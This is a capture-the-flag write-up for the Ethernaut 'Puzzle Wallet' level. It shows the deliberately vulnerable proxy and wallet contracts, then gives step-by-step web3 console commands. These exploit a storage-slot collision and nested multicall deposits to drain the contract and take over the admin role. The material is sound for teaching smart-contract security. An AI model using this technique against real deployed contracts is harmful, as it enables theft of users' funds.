Ethernaut Level 24: Puzzle Wallet
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Requirements
- Become the admin of the proxy.
Concepts
- Proxy Patterns. Specifically, storage collisions.
Hack
From our understanding of storage collisions in with Proxy Patterns, we notice the following problems.
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin; // Storage slot 0
address public admin; // Storage slot 1
contract PuzzleWallet {
using SafeMath for uint256;
address public owner; // Storage slot 0
uint256 public maxBalance; // Storage slot 1
The PuzzleProxy
and PuzzleWallet
contracts have storage collisions that we can exploit. Notice that maxBalance
is in the same slot as admin
. Therefore, if we are able to modify maxBalance
we can make ourselves the admin
. The variable maxBalance
can be modified using
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
However, to execute the function we must be whitelisted
and have the balance equal to 0.
First, notice that
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
requires that we are the owner of PuzzleWallet
. By inspection, we know that owner
is in the same slot as pendingAdmin
. And we can easily modify that variable using proposeNewAdmin
.
Next, we attempt to set the balance equal to 0. This can be done using
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
However, we can only withdraw amounts that we have deposited. More specifically, we need our balances[player]
be greater than or equal to the total balance of the contract. This can be done by calling deposit
with the same msg.value
multiple times in the same transaction. This increases balances[player]
without actually sending more ether. We can exploit multicall
to call deposit
multiple times in the same transaction. However, notice that
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
there is a check to ensure that deposit is only called once per transaction. A workaround is that we call multicall
that calls multiple multicall
and each has their own deposit
call.
Solution
First, let us make ourselves the owner in PuzzleWallet
by calling proposeNewAdmin
in PuzzleProxy
. We can do this by encoding the signature of the function and sending a transaction to the contract. We do this in the console.
proposeNewAdmin = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin'
}
]
}
data = web3.eth.abi.encodeFunctionCall(proposeNewAdmin, [player])
await web3.eth.sendTransaction({from: player, to: instance, data})
We then check that we are indeed the owner of the contract.
await contract.owner()
Next, we add our address to the whitelisted
mapping.
await.contract.addToWhitelist(player)
Before we proceed, let us first check what is the total balance of the contract.
await getBalance(contract.address)
> 0.001
We then do a multicall
that calls 2 multicall
each with a deposit
call and a value of 0.001. This would make balances[player] = 0.002
but only 0.001 was actually sent to the contract. We first get the function encodings of deposit
and multicall
.
depositData = await contract.methods["deposit()"].request().then(req => req.data)
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(req => req.data)
Next, we call multicall
with 2 multicall
.
await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
Finally, we call execute
and withdraw 0.002 ether. Note that we send an empty data byte.
await contract.execute(player, toWei('0.002'), 0x0)
Then we check the balance of the contract.
await getBalance(contract.address)
Lastly, we call setMaxBalance
so that we can override admin
.
await contract.setMaxBalance(player)
Done!